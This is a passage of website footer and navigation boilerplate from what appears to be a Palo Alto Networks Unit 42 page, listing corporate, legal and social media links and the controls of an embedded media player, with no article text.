Strategy](https://www.paloaltonetworks.com/unit42/transform) * [Discover Threat Intelligence](https://www.paloaltonetworks.com/unit42/threat-intelligence-partners) Company * [About Us](https://www.paloaltonetworks.com/about-us) * [Careers](https://jobs.paloaltonetworks.com/en/) * [Contact Us](https://www.paloaltonetworks.com/company/contact-sales) * [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility) * [Customers](https://www.paloaltonetworks.com/customers) * [Investor Relations](https://investors.paloaltonetworks.com/) * [Location](https://www.paloaltonetworks.com/about-us/locations) * [Newsroom](https://www.paloaltonetworks.com/company/newsroom) Popular Links * [Blog](https://www.paloaltonetworks.com/blog/) * [Communities](https://www.paloaltonetworks.com/communities) * [Content Library](https://www.paloaltonetworks.com/resources) * [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia) * [Event Center](https://events.paloaltonetworks.com/) * [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center) * [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z) * [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications) * [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure) * [Sitemap](https://www.paloaltonetworks.com/sitemap) * [Tech Docs](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.com/) * [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy) * [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center) * [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use) * [Documents](https://www.paloaltonetworks.com/legal) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector) * [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * EN Select your language ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ### Default Heading Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) Seekbar ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg) Volume ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)